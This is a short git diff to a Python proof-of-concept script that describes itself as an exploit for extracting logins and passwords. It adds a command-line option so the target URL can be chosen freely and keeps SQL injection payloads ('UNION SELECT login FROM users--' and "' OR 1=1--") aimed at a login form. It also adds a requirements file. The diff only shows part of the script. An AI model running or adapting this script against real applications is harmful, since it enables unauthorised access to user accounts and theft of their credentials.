diff --git a/poc.py b/poc.py old mode 100644 new mode 100755 index a97d7d9..bbfc21f --- a/poc.py +++ b/poc.py @@ -1,7 +1,13 @@ +#!/usr/bin/env python3 import requests import re +import argparse -BASE_URL = "http://localhost:8000" +parser = argparse.ArgumentParser(description="Exploit script for extracting logins and passwords.") +parser.add_argument("--base-url", default="http://localhost:80", help="Base URL of the target application") +args = parser.parse_args() + +BASE_URL = args.base_url login_payload = "' UNION SELECT login FROM users--" form_data = {"login": login_payload, "password": "' OR 1=1--"} diff --git a/poc_recs.txt b/poc_recs.txt new file mode 100644 index 0000000..663bd1f --- /dev/null +++ b/poc_recs.txt @@ -0,0 +1 @@ +requests \ No newline at end of file